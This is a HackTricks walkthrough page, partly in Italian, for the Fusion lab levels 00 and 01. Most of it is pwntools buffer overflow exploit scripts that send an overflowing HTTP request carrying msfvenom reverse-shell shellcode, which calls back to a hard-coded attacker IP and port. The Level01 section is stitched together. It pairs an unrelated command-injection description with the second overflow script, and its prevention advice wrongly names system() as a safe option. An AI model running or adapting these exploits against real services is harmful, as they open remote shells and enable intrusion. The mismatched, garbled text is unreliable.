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hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md
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Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Level00

http://exploit-exercises.lains.space/fusion/level00/

  1. Ottieni l'offset per modificare EIP
  2. Inserisci l'indirizzo dello shellcode in EIP
from pwn import *

r = remote("192.168.85.181", 20000)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0xbffff440)  # Stack address where the shellcode will be saved
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.recvline()
r.send(buf)
r.interactive()

Livello01

Description

The level01 binary is a setuid program that reads input from the user and executes it as a command. However, it is vulnerable to command injection.

Vulnerability

The vulnerability lies in the fact that the program uses the system() function to execute the user input as a command without properly sanitizing it. This allows an attacker to inject arbitrary commands and execute them with the privileges of the level01 binary.

Exploitation

To exploit this vulnerability, we can use the following payload:

./level01 "$(touch /tmp/owned)"

This payload will execute the touch command to create a file named owned in the /tmp directory. Since the level01 binary has the setuid bit set, the touch command will be executed with the privileges of the level01 binary, allowing us to create the file as the root user.

Prevention

To prevent command injection vulnerabilities, it is important to properly sanitize user input before using it in commands. This can be done by using functions like execve() or system() with carefully constructed arguments, or by using libraries that provide safer alternatives, such as subprocess in Python.

References

from pwn import *

r = remote("192.168.85.181", 20001)

buf = "GET "            # Needed
buf += "A"*139          # Offset 139
buf += p32(0x08049f4f)  # Adress of: JMP esp
buf += p32(0x9090E6FF)  # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1"      # Needed
buf += "\x90"*100       # NOPs

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"

r.send(buf)
r.interactive()
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

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